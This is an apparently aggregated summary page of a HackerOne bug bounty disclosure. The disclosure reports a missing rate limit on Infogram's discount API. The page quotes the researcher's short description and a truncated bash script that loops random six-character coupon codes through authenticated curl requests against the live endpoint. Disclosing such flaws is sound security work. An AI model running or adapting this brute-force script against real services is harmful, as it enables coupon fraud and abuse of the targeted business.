Bruteforcing Coupons
该报告还没有中文解读。
原文摘录
摘自原文（1014 字符中的一小部分）
while i was fuzzing for an API endpoints i found this endpoint: https://infogram.com/api/discounts the first thing came on my mind is bruteforcing the coupon codes so i gave it a try and it worked! there's no rate limit on that endpoint so an attacker could use it to bruteforce the coupon codes and …
原文中的代码
#!/bin/bash
while [ 1 ]
do
coupon=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n 1)
curl=$(curl -i -s -k -X $'GET' \
-H $'X-Requested-With: XMLHttpRequest' \
-b $'Cookies:XXXXXXX' \
$'https://infogram.com/api/discounts/$coupon')
if [[ $curl == *"valid":true* ]] …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Infogram 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @t-pwn · 版权归作者与 Infogram 所有